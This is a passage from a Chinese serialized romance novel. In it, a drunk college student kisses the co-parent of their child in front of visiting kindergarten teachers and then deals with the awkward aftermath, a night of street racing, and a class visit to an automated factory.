“今天打扰了。”副校长腿脚不好,拿起他的拐杖,脊柱笔直,望着宋时蔚说道,“父亲再婚,在感情上受到伤害最大的往往都是孩子。希望两位和安安幸福,祝两位新婚快乐。” 副校长微微欠身,准备离开。 宋时蔚:“谢谢,我会对安安……” “等等。”白榆唐突地叫住了副校长一伙人。 白榆酒劲彻底上来了,他现在没昏睡过去,纯靠着不能让幼儿园的老师发现他和宋时蔚根本没结婚的执念硬撑着。 白榆听别人说话一顿一顿的,还自带空耳,副校长的话,在白榆脑中,自动成了,‘你们……感情……不好………’ 他说我和宋时蔚没有感情。 白榆蹙着眉头,得出这个结论。 副校长回头,“有什么事吗,白先生?” 白榆没说话,他走到宋时蔚面前,凑得很近,醉酒了,白榆的呼吸有些乱,过长的睫毛微微颤动,瞳孔却仿佛狩猎中的动物,凝视着宋时蔚。 宋时蔚喊道:“白榆。” “嗯。”白榆抬起手,摘掉宋时蔚的眼镜。 “我们感情很好。” 下一秒,白榆没给别人惊讶的时间,拽扯宋时蔚的衣领,点起脚尖,猛地把唇贴了上去。 也许这个动作用撞更合适。 白榆的牙齿被撞的生疼。 白榆瞳孔早就失焦了,但还是睁着眼,盯着宋时蔚。 宋时蔚也没闭眼。 想摸。 想舔。 白榆亲着宋时蔚,手上也没闲下来,冰凉的指尖隔着一层薄薄的衣料轻点在宋时蔚腰侧,顺着侧腰,一路往上。 宋时蔚清楚的知道,幼儿园的老师都还在看着。诡异的暴露感,为这份忽如其来的接吻,增添了别样的刺激,他喘着粗气,感受到一股热流,来不及过多思考,滚烫的掌心,揽着白榆的腰,把对方紧紧抱在身前。 把沉稳这个词几乎刻在脸上一辈子了的副校长发出了尖锐的爆鸣! “你,你们……”副校长死板固执大半辈子,第一次见两个男的接吻,手都在抖,“不成体统!” 副校长拄着拐杖,转身快步往门外跑。 陈老师现在是确定白榆喝醉了,拍了一下愣住的梅老师,匆匆地打了声招呼,也跟着副校长往门外跑,“安安爸爸,回见。” 室内旖旎的气氛没有被打断。 宋时蔚从混乱的情绪中抽离出来,推开白榆,“安安。” 白予安早就自觉的往房间里去了。 唇瓣相贴的触感,让白榆上瘾,见宋时蔚推开自己,白榆不满的蹙眉,又一次凑近,鼻尖贴在宋时蔚脸上,唇贴着唇,用力咬了下去。 牙齿嵌到肉里的感觉,很神奇,白榆没忍住,用舌头舔了一下宋时蔚的唇。 淡淡的血腥味传进了白榆的口腔。 宋时蔚喉结发出一声滚动后的轻响,呼吸更重了起来,挺起腰身抵在白榆身上。 白榆的小腹蹭到了什么,他往后仰头,离开了宋时蔚的唇,退了一步,看清是什么之后,又往后退了一步。 “宋时蔚……”白榆盯着宋时蔚下面看,有一种后知后觉的直觉钻上心头,“我醉了。” 白榆往后退。 “呵。”宋时蔚后背的衬衫被完全打湿,他抓着白榆的手臂,膝盖抬起踢向白榆的小腹,用了点巧力把白榆扣在沙发上,手掌撑在白榆的身侧,把白榆圈在自己领地范围内。 “怎么。”宋时蔚把白榆抵在沙发上,脸上没什么表情,手掌温柔的捧着白榆的脸,拇指却不留情的像是检查牲畜牙齿一样,把白榆的唇掀开,轻触了一瞬,“在你眼里,我是脾气这么好的人吗。” 白榆不太舒服的哼哼了两声,宋时蔚的身上气息滚烫伴随着若有若无的木质香水的气息,扒抚在白榆身周,白榆眼皮越来越沉,视线开始变的模糊。 宋时蔚垂下眼帘,看着仰头躺在沙发上的人,俯身轻轻吻了上去,唇瓣含住白榆的唇。 一触即离。 宋时蔚竭力可遏制着情绪,仿若平静的样子。 白榆在这个算不上吻的吻中,彻底睡了过去。 * * * 白榆醒过来的时候,人躺在昨天晚上睡觉的床上,拖鞋被整齐的摆在床边,身上还盖了层薄被子。 白榆掀起眼皮,眼睛眯起一条缝,窗帘没完全拉紧,他仰着头看着从帘子缝隙里透进来的阳光,大脑放空了一会。 现在几点了? 我一觉睡到下午了? 白榆从床上缓缓坐起来,睡的时间太多,他浑身都是软的,头更是不知道为什么晕的厉害,还有点疼。 他起身,走到房门跟前,下意识的握住门把手,准备出去。 等等。 我嘴为什么这么疼? 白榆下意识的用手摸了一下唇,觉得奇怪,稍微清醒了一点,想起了一些事。 今天老师要来家访。 我应该不会睡到第二天下午。 我早起来了,和宋时蔚一起迎接老师,然后……………………我强吻宋时蔚了!!! 白榆心脏猛地一跳,被吓的寒毛都立起来了。 他握着门把手的手,忽然不动了,整个人像是被钉在了原地,一步都不敢移动。 他是喝多了,记忆不清楚。 但不是死了。 白榆清晰的记得,他不仅亲了,还摸了。 对着宋时蔚又亲又摸的。 这两天他梦里面敢做的,不敢做的,现在对着宋时蔚他都做了个遍。 还是当着幼儿园来家访的老师的面,都做了。 白榆的喉结滚动,握着门把的手出了一手的汗。 我,真成流氓了。 大流氓。 喝醉后,身体就诚实了?脑子不行了?本性暴露了?!? 我就这么想摸宋时蔚的身子吗? 不行,白榆。 自首吧。 白榆用力的握着房间的门把手。 现在就去自首。 人一辈子很长的,过不下去了。 死吧。 第54章 白榆最后也没有出去, 主要的原因,他不敢开门。 白榆缓了会,缓慢的从尴尬中解冻, 一点一点往后退,重新躺回床上。 他把头埋在枕头里,想着要不把他闷死算了。 可惜死不了。 白榆翻过身,一只胳膊枕在头底下,另一只胳膊去拿手机, 开始搜索。 ‘强吻男的怎么判罪?’ ‘猥亵判几年?’ ‘如果父母入狱,会对孩子有哪些影响?’ 搜出来的结果全是各种律所咨询机构的广告, 白榆查了几个问题后就放弃了。 让……宋时蔚打我一顿。 打断我的腿? 打断哪条腿? 白榆视线向下往下面看了一眼,卡顿几秒后,受不了的一巴掌拍到脸上,捂着脸更想死了。 我只是想摸一下。 最多梦了点不该梦的东西…… 真没想干别的。 ‘咚咚咚咚——’ 门外忽然响起规律的敲门声。 白榆被敲门声吓的一激灵,卷起被子盖在自己身上,两眼一闭,装成还在睡觉的样子。 敲了会见没有回复, 房门被缓慢地推开了。 “爸爸?”一只小崽崽走了进来。 白予安看见床上的一团,走过去,小手推了推白榆,“爸爸!要起来了。” “爸爸。”白予安努力喊着, 歪着小脑袋,把脸蛋凑到白榆脸前,清澈无辜的大眼睛盯着白榆看,“起床了。太阳公公晒屁股了。” “爸爸。” 白榆实在没办法继续装睡了,装成刚醒过来的样子,睁开了眼。 白予安见爸爸醒了, 灿烂地笑了起来,“爸爸。爹地让我喊你吃饭了。” “……哦。”白榆沉重的闭了闭眼。 该去死的事,总归还是要去死。 白榆慢手慢脚的从床上下来,穿上拖鞋,小心的从门外望了一眼,确认宋时蔚不在才出去。 “爸爸?”白予安像条小尾巴一样跟在白榆后面,看着爸爸奇怪的动作,眨了眨眼睛问道:“在找爹地吗?爹地在书房里。让我们先吃饭。” “哦。你先吃。”白榆的视线往二楼书房瞟了一眼。 他现在吃不下一点东西。 死可怕。 等死更可怕。 白榆站在原地给自己做了三分钟心理建设后,准备去送死。 冷静。 冷静点。 没事的。 如果一会宋时蔚生气,就让他打你一顿好了。 不要怕宋时蔚。 没什么可怕的。 短短几步路白榆走了半天,他硬着头皮,僵硬地敲了两下书房的门。 “进。”低沉的声音从书房内响起。 白榆心脏猛地跳动,尽量冷静的把房门打开了。 宋时蔚坐在桌前,身上的衣服对比上午换了一身,头发被打理的整齐,领口系着领带,袖口平整,一如他这个人,成熟,冷淡,禁欲。然而此时,这样一个人唇上有明显的牙印。 白榆被这种反差搞得心惊肉跳。 白榆上午咬的那一口,一点调情的水分都没有,他当时就是想啃宋时蔚,实打实的用力了。 宋时蔚嘴唇上现在都还能看见明显的伤势。 被不清楚的人看到还以为…………经历了多激烈的情事。 宋时蔚在用手机打电话,说的是德语,嗓音磁性又优雅,白榆听不懂,宋时蔚朝白榆比了个等下的手势,对对面那头的人说了几句后,把电话挂断。 “我错了。”宋时蔚挂断电话的那一秒,白榆抢先说道,他肾上腺激素飙升,心脏跳的飞快,之前做的那些心理建设统统不知道飞哪去了,他往后退了一步,撞到门板上,给宋时蔚鞠了个标准的九十度的躬, “对不起。我不应该…………那样的。你打我吧。” “你想怎么样都行。”白榆闭着眼,语气像下定赴死的决心了一样。 “嗯?”宋时蔚放下电话,目光有些沉,把桌前文件移开,“过来。” 白榆心里紧张,咬了下唇,还是听话的过去了。 宋时蔚没说话,安静的坐在桌子上,目光一寸不移的看着说是过来道歉的白榆。 白榆面对宋时蔚的沉默,受不了了,咬着后牙说道:“我错了,你要是生气,就打我吧。” 宋时蔚起身,靠近白榆,高大的身影像小山一样,笼罩着白榆,语气严肃,“拿什么打。” 白榆进来前想过宋时蔚会很生气,谁被男的莫名巧妙按着亲,还被咬了一口都会生气。 换做是他的话,当场就能把人腿打断。 白榆想着宋时蔚要是忍不住,说难听的话,打他一顿,以后不想见他了,他肯定受着,一个字也不多说。 但这样问…… 白榆有种隐秘的羞耻。 白榆蹙了下眉,想起昨天在书房写作业的时候,看见的东西,走了两步,拿了一把钢尺过了。 “给。”白榆低着头不敢去看宋时蔚,双手把这把钢尺递送给宋时蔚,小声说道,“你拿这个打我吧。” 书房里放的这把钢尺和市面上经常卖的不一样。这把尺子长的多,也明显加厚过。上面的刻度某些已经模糊了,平时摆在桌上,时常被拿在宋时蔚手上使用。 “你打吧,我会忍着的。”白榆补充道。 宋时蔚喉结滚动,压低着眉眼,神色不明。 宋时蔚接过钢尺,仿佛真的是一位严厉的老师一样,骨节分明的大手上拿着充满象征性意义的教具,沉声继续逼问,“打哪里。” 在正常不过的对话,白榆却有种说不上来的感觉,脚尖忍不住小幅度的移动了一下。 “你打吧。”白榆把左胳膊伸了过去,想着让宋时蔚把他胳膊打断算了。 白榆现在甚至想让宋时蔚赶紧打他。 “啪。” 钢尺划破空气,发出沉闷的声响。 白榆猛地一抖,预想中的剧痛却没有到来。 宋时蔚握着钢尺,视线透过金色的镜框高居临下的落在白榆身上,像是在尝试力道,钢尺在他宽大的掌心不时落下,发出声响。 “啪。” “啪。” 白榆不敢去看宋时蔚,低着头,身体高度紧绷着,每次戒尺发出的声响,都让白榆忍不住的呼吸一滞,心率被这些声音扰动。 白榆甚至觉得这个样子,比宋时蔚打在他身上还难熬。 白榆受不了的说道:“你……” “手掌摊开。”宋时蔚的声音落下。 白榆下意识的把手掌伸开。 白榆伸开手的一瞬间,钢尺毫无预兆的落在了他的掌心上。 痛—— 白榆下意识的闭了下眼。 但没白榆想象中的那么痛。 厚重的钢板放在明显进行过专业训练的成年男人手上,这种情况,不收力能直接把手指打断。 白榆只是有些火辣辣的疼。 白榆手抖了一下。 在手指快要缩回去瞬间,又是一板子落了下来。 白榆小幅度的颤动了一瞬,但本能的没有在把手指缩回去了。 “疼吗。”宋时蔚随手把钢尺放到桌上,视线一丝不漏的收录着白榆的神情。 宋时蔚第一次发现自己有这种见不得人的爱好。 “记住了。”宋时蔚宽大精瘦的手握着白榆的手,深深的佝下腰背,从下往上的看着白榆,拇指温柔地抚摸过白榆的手掌,像是在确认白榆的伤势,“下次别做这种事了。” 别随便亲对你有感觉的男的。 被宋时蔚打过的地方变得敏感起来,每一寸感官都无限放大,白榆被宋时蔚摸的有一种酥酥麻麻的感觉,想把手抽回来,但只是看着宋时蔚,没有动。 宋时蔚清楚的知道,这小王八蛋就是单纯醉酒发疯而已。即便如此,宋时蔚还是忍不住,想弄清楚白榆在想什么。看见白榆这个坦荡的样子,宋时蔚笑了一下,先一步松开了握着白榆的手,“这件事情就这么过去了。” 他放纵自己沉浸在这个不合适的吻里,但也仅限如此。 宋时蔚:“先去吃晚饭,我一会下去。” 白榆回过神,缓慢的眨了下眼,“哦。” 宋时蔚说这件事过去了,后面也真就再没提过这事了。 不知道安安是不是被宋时蔚交代了,安安没在他面前提一句这件事。 白榆后面联系了幼儿园的老师。 在陈老师委婉的语气下,白榆得知了当时斯副校长拄着拐杖怒跑出五百米,停都不带停的景象。 白榆脚趾扣地,给陈老师他们道歉。 【陈老师:没关系的,宋先生之前给我们发消息解释过了。再说了可以理解的,新婚夫夫情难自禁嘛^_^】 白榆脸皮烧的厉害。 起码没被拆穿,白榆关了手机,努力让自己往好的方面想。 * * * 夜晚,苏城山郊。 巨大的轰鸣声、晃眼的灯光、口哨、尖叫,使这条本该荒凉的山道,变的嘈杂无比。 一辆改装后的车引擎轰鸣呼啸而过,车身漂亮的摆尾,随着轮胎发出剧烈摩擦的声音,惊险的贴着道路旁的防护措施从弯道上过去,保持着疯狂的车速,停到终点。 白榆迎着风从车上下来,一头白色的头发被吹的,他把手套摘下,随手扔到车里。 等在周边的一群人跑了过来,围在白榆身旁,叽叽喳喳的说个不停。 “榆哥牛逼!” “太牛逼了,都快一个月没跑了,才几圈啊,手感就回来了。” “刚有人计时吗?多久?这比前段时间来的那个老外快多了吧。” “那老外不就是拿了点小奖吗,傲的鼻子都快到天上去了。” “牛逼!牛逼!” 刚那一圈跑的,他们光看的肾上腺素都飚起来了。 白榆在其他人面前和在宋时蔚面前很不一样,不喜欢说话,他觉得自己还是手生了,随便应了声,“凑合。” 旁边的人又是一通叽叽喳喳。 苏城郊区这块地势崎岖,位置也偏,后面干脆被几个少爷牵头,拿下了这块地,在这里开了家越野俱乐部。白榆是这的出资人之一,他的一些车平时就放在这保养。 一群人叽喳着叽喳着,话题就拐了。 有人率先干咳了一声,问道:“榆哥,嫂子哥不来吗?” 本来各说各的人,瞬间都安静了,一起亮晶晶的看着白榆。 白榆还在思考刚才跑的那圈的事,反应了两秒,才弄清楚这句嫂子哥是在叫谁。 白榆一秒不爽,“谁是你嫂子哥。” 旁边的人装作看不懂白榆的情绪,配合着无意义的比划,夸张的问道;“就是那个,柏浩说的那个超级大帅b。他在学校门口碰到的那个。” 啧。 白榆在心底不爽的咂舌,“和孩子在家。” 白天白榆吃完饭就计划带着安安迅速跑路了。结果宋时蔚问他,周末打不打算和朋友出去玩,让安安这两天先在他那好了。 白榆的确很久没跑过车了,再加上他急着跑路,就同意了。 “嫂子哥好贤惠。”其他人立马开始捧眼,一唱一和的开始夸。 “一听,嫂子哥就是个耐心的人。” 白榆听着听着,不知道为什么脸色好了很多。 见白榆脸色有所缓和,有人给另一个人使了个眼色,对方收到后,接起重任,“嫂子哥好看吗?” 白榆说的一秒都不带犹豫,“好看” 第55章 “哇哦哦!” 周围齐齐的发出了起哄的声音。 白榆耳朵有点痒, 他捏了下,重新带上手套,回车上, “我在跑两圈。” 看着白榆的车开走,车队的几个人,互相对视一眼,掏出手机。 【报!问了,真谈恋爱了】 【难以想象, 不想相信:(】 【封群的铁证都在你面前,有什么不信的, 现在群里还禁言呢】 【我还以为我哥这辈子要断情绝爱,连暧昧都没和别人暧昧过】 【之前那谁,不是一直给榆哥抛媚眼吗。抛到眼睛都抽搐了】 【是啊,最后不也成功换来一句——有病,就早点去看医生】 【哈哈哈哈哈哈哈哈哈哈哈哈哈哈】 【所以嫂子哥到底有多好看,怎么追到的?】 【柏浩不是说那男的起码一米八五往上走吗?】 群里安静了几秒,有人匿名发了条信息 【匿名信息:所以他们到底谁在上面?别装了, 你们就不想知道吗?谁去问一下吧,求求了。黄豆摘墨镜哭.jdp】 群内一片无声。 白榆不知道这群人还单开了个群,坚持着八卦。 白榆有一段时间没来了,手有点生, 瘾又上来了,干脆去多跑了几圈。 结束,一群人有秩序的开车咬着车尾先后离开,把车开回市中心,吃了点宵夜,照例去谢昀澈酒吧那玩。 谢昀澈这二楼有间大包房, 常年给他们留着,熟的连泊车的服务生都认识他们了。 白榆拒绝了一众邀请,把人赶走,自己找了个角落的位置安静坐着,心不在焉。 白榆把左手在眼前摊开。 上面的印子比下午明显多了,红肿的一片。 他这只手一天遭到一堆事。 早上被刀割,下午被人打,晚上还休息不了,被他逼着握方向盘。 白榆端起杯子,喝了口冰水,舌尖轻轻的抵着冰块,心想道,其实宋时蔚用的力气不大,是他太白了,一点印子在上面就特别明显。 轻微的刺痛和肿胀感,时不时的彰显着存在,白榆用力握紧掌心,萌生了一种奇怪的念头。 酒吧里很吵,灯光昏暗不清的,白榆坐在隐秘的地方,视线扫荡,暗中观察着周围,确定没有人注意这后,伸出舌尖,顺着肿起来的地方,用力舔了一瞬。 他刚喝过冰水,舌头还是冷的,耳边就是别人打牌的声音,舌尖舔在炙热的手心上,酥酥麻麻的感觉顺着脊尾爬了上来。 白榆脸颊红的厉害,有些心虚,眼睫毛都快颤出虚影来,端起桌子上的冰水,掩饰似,转过身喝了一口。 我又发什么疯呢,白榆心想道,觉得脸上还是热,低下头,手背贴在脸上降温。 越降越热。 谢昀澈把外面的事安排好,也进到包房里面,打了声招呼。 “谢哥。” “谢哥,来玩把不?” 谢昀澈笑着,婉言拒绝,“不了,你们玩。” 谢韵澈找了一圈,才找到白榆,在白榆身旁坐下,“你发什么呆呢?怎么不去玩?” “没心情。”白榆一副神游天外的样子。 “你手怎么了。”谢昀澈余光瞥见白榆放在桌面上的手,给自己倒了杯酒,顺便点了根烟。 白榆:“撞到了。” “那这撞的挺不容易。”谢昀澈没信白榆的鬼话,但也没往别的方面想,白榆就不是可能是允许别人干这种事的性子,他不把人打个半死就不错了。 白榆难得没对这阴阳怪气怼回去,摸了个橘子,剥开塞嘴里。 “昀澈,我问你个问题。”白榆咬着橘子一边嚼嚼,一边零帧起手,“我有个朋友,他不小心强吻了一个男人,怎么办?” “咳咳。”谢昀澈被烟呛到了,表情扭曲了一瞬,夹着烟的手的一抖,不小心烫到了自己,“你强吻男人了!?” 白榆面色不变,“我朋友。” “你不是和宋时蔚把孩子的事处理好了吗?”谢昀澈不是个啰嗦的人,但这时候还是忍不住确认道,“你强吻宋时蔚了?” 白榆又给自己剥了个橘子,塞嘴里,“我朋友,他喝多了,然后就亲上去了。” “你非要坚持这个设定吗?”谢昀澈服气了,想翻白眼又碍于形象,“亲的时候,宋时蔚推开你没有?” 白榆:“事情太突然了,被我朋友强吻的那个人没反应过来。” “那就是没推开。”谢昀澈语气里带了点意味不明,“酒醒后呢?宋时蔚对你什么反应?” 白榆:“……那人提醒我朋友,不能再这样了。” “没别的了。”谢昀澈把点着火的烟咬在嘴里,不急不缓的说道:“亲他,他不拒绝。先自己爽了在说。” “亲完,在冷漠的提醒你。”谢昀澈夹着烟在烟灰缸里敲了敲烟,“你是不是还挺愧疚的。” 谢昀澈意味深长的说道:“手段很典型啊。” 白榆蹙眉,语气坚决,“那人不是你想的那样,我朋友和那个人就是普通朋友关系。” “嗯,我知道唇友谊关系嘛。”谢昀澈看着白榆这幅吃里扒外的样子,恨铁不成钢,“你亲宋时蔚什么感觉?” 白榆脑子里浮现出宋时蔚的脸,掐自己的指腹,避开谢昀澈的视线,“……我怎么知道我朋友什么感觉。” 谢昀澈是真被气笑了, “嗯嗯,你们的关系很纯洁。” 谢昀澈起着调子说道:“纯洁的男同关系。” 白榆坚持宋时蔚和他都不是谢昀澈想的关系,但他不好解释。 怎么说—— 因为我馋宋时蔚身子,所以才去亲宋时蔚的。 宋时蔚只是清清白白的被我亲了。 我其实是个垃圾。 够了。 明天是周日,但下午和晚上都有课,最多睡到中午,白榆不喝酒,自己开车提前回去了。 白榆穿着吊带短裤,躺在床上的时候,已经两点多了。 屋子里没开灯,在白予安出现前,这种日夜颠倒的作息才是白榆的生活常态。 也不算是,白榆想了想发现,他还有很多课要上,学分要修,作业要交,也不能完全日夜颠倒。 白榆摇摇头,努力把不知道哪冒出来的孤独感甩掉,打算看一眼手机就睡。 【宋时蔚:休息了吗?】 宋时蔚的消息,二十分钟前发的。 白榆顿了顿,打开他和宋时蔚的聊天页面,才发现宋时蔚像报备一样,固定一小时左右给他发一次消息,还带着安安的照片。 白榆从床上坐起身,赶忙回复。 【树:我晚上出去了,一直没看手机】 【宋时蔚:嗯,到家了?】 白榆没想到,都这个点了,宋时蔚还没睡,而且立刻就回他消息了。 一个再简单不过的问题,白榆硬是斟酌了半分钟才把消息发出去。 【树:回了,我马上睡觉。我晚上和朋友出去玩了,都是以前就认识的。简单聚聚,没干什么】 【宋时蔚:好,早点睡】 大概是房间里实在是太安静了,白榆盯着聊天页面,发了条语音过去。 “宋时蔚,晚安。” 几秒后,宋时蔚果然也发了条语音过来,带着点沙哑的平和男声在手机中响起。 “晚安,白榆,做个好梦。” 白榆把手机放到枕边,盯着天花板,心里涨涨的。 宋时蔚……很好。 特别特别特别的好。 白榆翻了个身,侧身躺在床上,手拉了下被子,双腿微微曲起。 他不是瞎子,不可能看不见宋时蔚的好。 对他,对安安,都是。 白榆缓慢闭上眼,脑中不自觉的浮现出宋时蔚的种种。 在A大。 在警局。 在幼儿园。 在宋时蔚家的客厅………… 白榆回忆戛然而止,心脏猛地跳动了两下,刷的把眼睛睁开。 白榆的心率还没有平息,坐起身,用力拍脑袋。· 宋时蔚那么好,他还对宋时蔚做了那种事! 宋时蔚说过去了,但白榆不能装作什么都没发生过。 白榆抿唇,暗下决心。 他要对宋时蔚更好才行。 宋时蔚对他好一份,他要对宋时蔚十分。 他做牛做马也要对宋时蔚更好。 晚上,白榆没做美梦,但也没有梦到以前的事,一夜无梦,他睡的很好。 * * * 宋时蔚很忙,这是白榆没认识宋时蔚前就知道的事,宋时蔚再忙也能安排好时间,在工作研究的同时,照顾好一切的事情,这是白榆在认识宋时蔚后知道的事。 总之,和宋时蔚一起养孩子是一件很舒心的事。 白榆坐在b大的食堂里,前面是两荤一素,他连着耳机,把手机放在一边。 “安安明天幼儿园有活动,下午会提前放学。”宋时蔚从联合实验室里出来,给白榆打电话,“我今天在企业这边,有些事情要我过来处理。一会助理把安安先接过来,我忙完就送安安回去。” 白榆和宋时蔚打着电话,习惯性的向对方报备行程,“我下午学校有活动,组织去企业参观,我可能要晚点才能回。” 中午时间紧,宋时蔚没准备休息,接过助理给他买的三明治,眼神示意对方先离开,问道:“哪家企业。” 白榆:“宣荣。” 宋时蔚:“哦。” 白榆:“怎么了?” 宋时蔚弯唇,“没。好好参观。” 白榆觉得奇怪,但没等他多问,就发现老周端着个餐盘往这边走,看起来像是要来找他的意思。 白榆紧忙拿起手机,“我同学过来了,我先挂了。” 见不得人的宋大教授挑了下眉,“行。” 白榆匆匆说了再见,就把电话挂了。 “你干嘛呢,神神秘秘的,我一来就挂电话。”老周把餐盘放在白榆正对面,用一种审视的目光盯着白榆,“你不会是背着我们偷偷谈恋爱了吧。” 白榆:“哈?” 老周:“那你怎么带耳钉了?” 白榆面无表情的看着老周,不理解,他带耳钉和他谈恋爱,有个什么毛线的关系。 老周掏出手机,手法娴熟的翻到学校表白墙,给白榆看了一眼,掐着嗓子给白榆读上面的内容。 “表白今天遇到的小哥哥,带着耳钉的样子好冷酷哦。衣品如人品,万千人群中,一瞥便知你是谁,mua~” 白榆拿着筷子的手都僵住,鸡皮疙瘩掉了一地,整个人差点裂开。 老周不忘又补一刀,“小哥哥,你带着耳钉的样子好冷酷哦。” 第56章 学校的表白墙是匿名, 仗着匿名,什么抽象的活都能整出来,什么话都能说出口。 白榆掏出手机, 联系管理员,找到那个有他后脑勺照片的帖子,让对方赶紧给删了。 老周: “下面还有好多回复呢,小哥哥~,要听吗?” 白榆:“不听。” 老周真诚的问道:“我朋友的朋友的女朋友的室友, 问我要你的联系方式,能给吗?” 白榆冷这张脸, 没什么语气的说道:“你怎么不说是你上辈子欠了债的债主的邻居的邻居的女儿要呢。” 老周真诚的眨了眨眼,“能给吗?” 白榆:“不给。” 人上了大学,没父母老师管着,年龄也到了,在荷尔蒙乱发的年龄里。什么理由都没有,就是想谈恋爱。 但白榆不想,他不喜欢这种同意加个联系方式就默认能聊聊, 约出来吃个几顿饭就相当于可以发展,三句话对头了第二天就能在一起的感情。 白榆在学校一直很注意,防止自己无意间给别人了暗示。 “好的。”本来也就没想着能成功,老周也不气馁, 继续问白榆,“你怎么忽然带耳钉了?” “最近翻出来,就带了。” 白榆盯着管理员把他的帖子删干净了,才去吃饭。 白榆有耳洞,而且不是一个两个,他右耳打了两个, 左耳打了三个。 本来男的打耳洞的就不多,打这么多的更少。导致老周第一次见白榆,一直以为白榆是个潮男。 结果白榆就是个衣服摸到哪件就穿哪件,一点都对不起他这张脸的……帅哥,老周心痛的想到。 “你平时怎么不带啊。耳垂就算了,打在耳骨上的那几个,不疼吗?”老周非常直男的说道,“我要是你,疼都疼了,我一定天天都带着。” 白榆简单说道:“不想带。” 老周上上下下扫视白榆,幽幽的开口,“不止耳钉,你最近怎么穿衣服也讲究起来。” 白榆理解不了:“?” 老周支着下巴打量着,“说不上来,就是帅。而且不止我觉得,你要听……” “不听,不想知道。” 白榆三两勺的把米饭挖到嘴里,打断了老周越发散越离谱的话题,咽下去后说道,“还有不到十五分钟就要去南门集合,你不吃饭了?” “吃,吃。”老周赶紧去拿筷子,他是负责人,他还要去核对人数,是绝对不能迟到的,低头狂炫盘子里的午餐,补充道,“一会有校企办的老师带我们坐学校的大巴过去。” “哦。”白榆点了点头。 白榆和老周到集合地的时候,已经比较晚了,大巴上的位置被坐的七七八八,能看到的几个空位也都被人提前拿书包给占了。 白榆拎着包,准备到后面找找还有没有空位。 “小榆,时涵。”唐豫南坐在大巴中间的座位,朝这挥了挥手,“我给你们占了位置。” “爱死你了,豫南。”老周夸张的说道,直直的朝唐豫南的那走。 白榆在原地顿了一下,发现周围的人在看这,也跟着走了过去,礼貌客气地说道:“谢谢。” 学校的大巴是三个座位连在一起的。唐豫南坐在正中央,老周一过去就占了靠近过道的位置。 白榆挤了挤,挤到了里面靠窗户的位置。 白榆不喜欢和别人挨得太近,不自在。他把口罩带在脸上,一上车脑袋就虚靠在车窗玻璃上,低头在看手机。 白榆偷偷摸摸的摸到了A大的论坛里。 自从事发之后,白榆用薛楠的号悄悄在这个论坛潜水很久了,靠着签到连等级都上来了。 【勇士已经两周没来上课了,想他回复:99】 【1L:被提问了好想死,想念坐在第一排的勇士。他要是在的话,被问肯定不是我:(】 白榆心想,活该,我为什么要去上课。 【9l:有人知道宋教授前段时间,为什么一直带着口罩吗?上课也带】 【10l:感冒了?】 【12l:看起来不像,最近也不是流感频发的季节吧】 【13l:奇了怪了】 导致宋教授带了很久口罩的罪魁祸首:“。” 白榆把口罩往上拉了拉。 “小榆。”干净的男声打断了白榆的胡思乱想,唐豫南手掌捧着几颗糖,送到白榆眼前,“吃糖吗?橘子味的。” 白榆拒绝,“不了。” “嗯。”被人拒绝唐豫南也没什么不高兴的神情,把糖装回袋子里,客气的又问了旁边的老周。 白榆心情诡异,低着头继续视监这个有宋时蔚的帖子。 【26l:没人觉得,带着口罩的宋教授很性感吗?】 白榆盯上了这个回复,心想,说什么呢,作为一个学生不好好上课,在神圣的教室里,瞎想什么? 【27l:我懂你的意思,这种禁欲感,带着口罩之后更明显了】 【31l:20××-20××学年机器人基础课程挂科率统计表.jdp】 【32l:去年的。脑子好点了吗】 论坛的回帖时间一下拉长了。 【47l:我就好奇了,你们是哪里来的勇气yy宋教授】 【49l:少做梦,多学习,我们现在最主要的是任务是好好毕业】 【58l:T_T】 唐豫南:“小榆?在想什么呢,这么专注。” “没什么。”白榆把手机关了,不让别人看见。 唐豫南斜靠在座椅上,手指微曲,指尖的位置对着白榆的耳廓,“你怎么带耳钉了?” 白榆不知道,怎么一个两个对他带个耳钉这事这么关注。 他就带了一颗,在耳骨上,很小的一颗,不仔细看都看不出来那种。 白榆统一回答,“翻出来了,就带了。” “是吗。好久没见你带过了。以为你现在不喜欢了。”唐豫南笑了笑,给自己剥了颗糖。 白榆奇怪了,“你什么时候见我带过?” 唐豫南声音很轻,“你高中那会。” 白榆刚想继续问,旁边的老周却先一步开口,语气惊奇,“你们高中还让带耳钉啊?” “好了,先别说话了。” 一起过来的老师走到大巴最前面,拍了拍手,让他们都先安静下来,“马上快到了,趁着最后这会我来给你们讲一下安全和注意事项的问题。班长来我这领一下参观证啊,给都发下去。” 老师的声音阻止了话题继续。 他们跟着校车到了目的地——宣荣的总部,一个规模巨大的科技园区,苏城知名的地标性建筑。 企业负责和他们对接的人和老师寒暄了几句后,拉了条横幅,拍了几张照后,就一起笑着携手离开了。 临走前,还不忘推给他们一个人,“这位是你们的学长,b大××年毕业的研究生。也是公司里一位优秀的工程师,接下来他会带大家参观的,有什么技术上的疑惑,也可以问他。” 这位学长,听年龄没比他们大多少,看头发却像是大了一轮的人一样。 学长一看就不是干行政工作的,努力把脸上的‘困’和‘不情愿’收回去,走了过来,试图表现出热情,“你们,好啊。” 白榆:“……” 你看起来不太好。 学长走在前面,带他们到了附近的工厂内部。 “这里是宣荣的智能工厂之一,市面上宣荣旗下的产品的部分部件就是在这里生产的。这里是完全自动化的,从接收指令到产品出库全程无人干预。智能系统自动分析库存并触发物料补给,T-12运输机器人随即从立体仓库中调取钢材原料。在冲压区,六轴机械臂将板材送入千吨级冲压机,3秒成型为……” 工厂内部划分明确,工业机器人有条不紊的进行着自己的工作。 白榆站在焊接区的一个机械臂前,看它移动焊枪精准的控制焊接角度和路径,进行着复杂的焊接任务。 白榆填报志愿的时候,是随便报的,学了快两年了,也没学出个什么兴趣来,对于这些多少有些了解,但也仅限如此…… “学长,这边焊接与装配机器人协作时,采用的事哪种实时通信协议,方便说一下吗?” “学长,立体仓库的AGV调度系统是不是用了强化学习算法?在路径规划上……” “学长……” 一起过来的其他同学围在那位学长旁边,激烈的讨论着。 白榆一点点一点点的被人越挤越远,白榆顿了顿,又往旁边自己挪了几步。 这个参观是要报名的,名额有限,非常抢手,过来的除白榆外,都是群卷王,抓着这个机会,自然都有想表现的意思,白榆时常觉得自己和学校里的其他人格格不入的。 “学长,我之前看报道说,宣荣和sw研究所的合作……” 站在旁边安静着的白榆一顿,成功捕捉到关键词。 sw研究所,我是不是在哪听过这个词。 不对。 白榆拿出手机。 【树:你是在宣荣吗?】 宋时蔚过了相当一段时间,才回消息。 【宋时蔚:嗯,我快忙完了,来找你】 第57章 来找我? 白榆疑惑。 【宋时蔚:抬头】 白榆顺着宋时蔚的意思, 抬起头。 